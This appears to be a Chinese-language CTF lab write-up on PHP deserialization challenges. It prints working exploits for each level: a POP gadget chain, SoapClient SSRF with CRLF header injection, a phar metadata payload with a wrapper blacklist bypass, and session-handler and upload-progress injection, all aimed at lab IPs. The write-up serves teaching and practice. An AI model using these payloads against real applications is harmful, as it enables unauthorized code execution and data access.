首先,要想页面返回flag,我们就要调用append方法,而append方法时通过invoke方法赋值,而invoke是通过错误格式方法来触发,这就要找能调用方法的地方,可以找到get,而能触发get的方法就要找到可以读取属性的地方,即toString,而触发toString的地方只有Show,所以show就是头
构造poc
<?php class Modifier { private $var = 'flag.php' ; } class Show { public $source ; public $str ; } class Test { public $p ; } $a = new Show (); $a ->source = $a ;$b = new Test ();$a ->source->str = $b ;$c = new Modifier ();$b ->p=$c ;echo urlencode (serialize ($a ));?>
level10 本关需要开启soap拓展且php版本在5.6、找到配置文件 php-ini
<?php highlight_file (__FILE__ );$c = unserialize ($_GET ['param' ]);$c -> daydream ();?>
前置知识;https://blog.csdn.net/solitudi/article/details/113588692
在给出的代码中,有一个名为flag.php的文件。这个文件的作用是根据一些条件将一个标志($flag)写入到flag.txt文件中。
下面是对代码的解释:
首先,定义了一个变量$flag,其初始值为”*”,表示标志的内容。
接下来,通过$_SERVER[‘HTTP_USER_AGENT’]获取了用户的User-Agent信息,并将其赋值给变量$user。
然后,通过$_POST[‘pass’]获取了来自POST请求的pass参数的值,并将其赋值给变量$pass。
在if条件语句中,首先使用isset()函数检查$pass和$user是否都存在。
如果$pass的值等于”password”并且$user的值等于”admin”,则条件成立。
在条件成立的情况下,使用file_put_contents()函数将$flag的内容写入到名为flag.txt的文件中。
综上所述,这段代码的逻辑是,当接收到POST请求中包含正确的密码(“password”)和用户代理信息(“admin”)时,将标志($flag)的内容写入到flag.txt文件中。这可以作为一个简单的身份验证和授权机制,只有在满足特定条件时才会写入标志文件。
在后台返回一下falg.php的一些值看看,在从0-1看到了类似的题目,原生类的利用public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) 第一个参数是用来指明是否是wsdl模式,如果为null
,那就是非wsdl模式。 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
还要利用crlf注入漏洞(\r\n)
<?php $post_data ='pass=password' ;$data_len =strlen ($post_data );$a = new SoapClient (null ,array ('http://192.168.199.177:8080' =>'http://192.168.174.143/ser/level10/flag.php' ,'user_agent' =>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: ' .$data_len .'^^^^' .$post_data ,'uri' =>'bbba' ));$b = serialize ($a );$b = str_replace ('^^' ,"\r\n" ,$b );$b = str_replace ('&' ,'&' ,$b );echo urlencode ($b );
然后直接访问目录下的txt文件即可
level11phar反序列化 <?php highlight_file (__FILE__ );class TestObject { public function __destruct ( ) { include ('flag.php' ); echo $flag ; } } $filename = $_POST ['file' ];if (isset ($filename )){ echo md5_file ($filename ); } ?>
可以先试一下看看常见的文件存不存在
目的是echo $flag,然后destruct是要反序列化时才会触发的方法,所以通过md5_file去触发反序列化,由此构造
<?php highlight_file (__FILE__ );class TestObject {} @unlink ('test.phar' ); $phar =new Phar ('test.phar' ); $phar ->startBuffering (); $phar ->setStub ('<?php __HALT_COMPILER(); ?>' ); $o =new TestObject ();$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" ,"test" ); $phar ->stopBuffering ();?>
然后将生成的文件改成图片类型的后缀上传,然后POST参数附上就可以了
level12 <?php highlight_file (__FILE__ );class TestObject { public function __destruct ( ) { include ('flag.php' ); echo $flag ; } } $filename = $_POST ['file' ];$boo1 =1 ;$black_list =['php' ,'file' ,'glob' ,'data' ,'http' ,'ftp' ,'zip' ,'https' ,'ftps' ,'phar' ];foreach ($black_list as $item ){ $front =substr ($filename ,0 ,strlen ($item )); if ($front ==$item ){ $boo1 =0 ; } } if (isset ($filename ) and $boo1 ){ echo md5_file ($filename ); } ?>
正常的phar伪协议是不行的
当phar被过滤的情况下可以使用下列协议实现绕过
compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt
由于黑名单上有zip和php所以使用的payload为:
compress.zlib://phar://upload/test.gif/test.txt
level13 <?php highlight_file (__FILE__ );session_start ();class Flag { public $name ; public $her ; function __wakeup ( ) { $this ->name=$this ->her=md5 (rand (1 , 10000 )); if ($this ->name===$this ->her){ include ('flag.php' ); echo $flag ; } } } ?>
先去hint.php看看线索
<?php highlight_file (__FILE__ );ini_set ('session.serialize_handler' , 'php_serialize' );session_start ();$_SESSION ['a' ] = $_GET ['a' ];?>
在index.php中就一个Flag类中存在一个__wakeup魔术方法
方法内形同虚设,相当于触发了方法直接返回flag
哪触发wakeup需要反序列化,这里没unserialize函数且没有文件上传
但hint中发现对session是可控的且在hint.php下session的引擎格式是php_serialize
默认情况下session处理引擎是php
此外了解一下ini_set这个函数
ini_set设置php.ini指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
也就是说只有在hint.php下时是对session处理的引擎是php_serialize
其他php文件下还是默认php引擎
php引擎的存储格式是键名|serialized_string,而php_serialize引擎的存储格式是serialized_string
当在php_serialize的引擎储存格式下创建session然后处理(验证)session时会把” | “当成一个正常的字符。而在php引擎储存格式下处理(验证)同一个session的时会把” | “ 当成键与值的分割符然后对分割符后面的值进行反序列化
所以当我们在自定义session中在序列化语句前加上 | 然后再访问index.php这时,在index.php下服务器验证session的时候因为是php引擎储存格式,所以会对session中 | 后的内容进行反序列化,从而触发了wakeup魔术方法得到flag
<?php session_start ();class Flag { public $name ; public $her ; function __wakeup ( ) { $this ->name=$this ->her=md5 (rand (1 , 10000 )); if ($this ->name===$this ->her){ include ('flag.php' ); echo $flag ; } } } $a = new Flag ();$a ->name = &$a ->her;echo serialize ($a );?>
level14 php.ini配置
session.auto_start =0 session.serialize_handler = php_serializesession.upload_progress.enabled = On session.upload_progress.cleanup = Off session.upload_progress.prefix = "upload_progress_" session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" session.upload_progress.min_freq = "1"
<?php highlight_file (__FILE__ );ini_set ('session.serialize_handler' , 'php' );session_start ();class test { public $name ; function __destruct ( ) { if ($this ->name=='flag' ){ include ('flag.php' ); echo $flag ; } else { phpinfo (); } } }
O:4:"test":1:{s:4:"name";s:4:"flag";}
主要利用的是session.upload_progress.enabled 当该设置为on 的时候,在向服务器上传任意一个文件的时候php会把该上传文件的详细信息(如上传时间,文件名等)储存在session中,而当我们以POST形式传入名为PHP_SESSION_UPLOAD_PROGRESS的变量时,传入的文件名会被储存到session中(也是filename的值赋值到session中)
原文链接:https://blog.csdn.net/qq_73767109/article/details/130856442
.写一个文件上传的html
<meta http-equiv ="Content-Type" content ="text/html; charset=utf-8" > <form id ="upload-form" action ="http://192.168.174.143/ser/level14/" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="test" /> 上传文件… <input name ="file1" type ="file" /> <input type ="submit" value ="上传" /> </form >
改成html尾缀,这里的变量名一定要是PHP_SESSION_UPLOAD_PROGRESS
打开html任意上传一个文件并抓包
修改filename为
|O:4:"test":1:{s:4:"name";s:4:"flag";}
就告一段落了。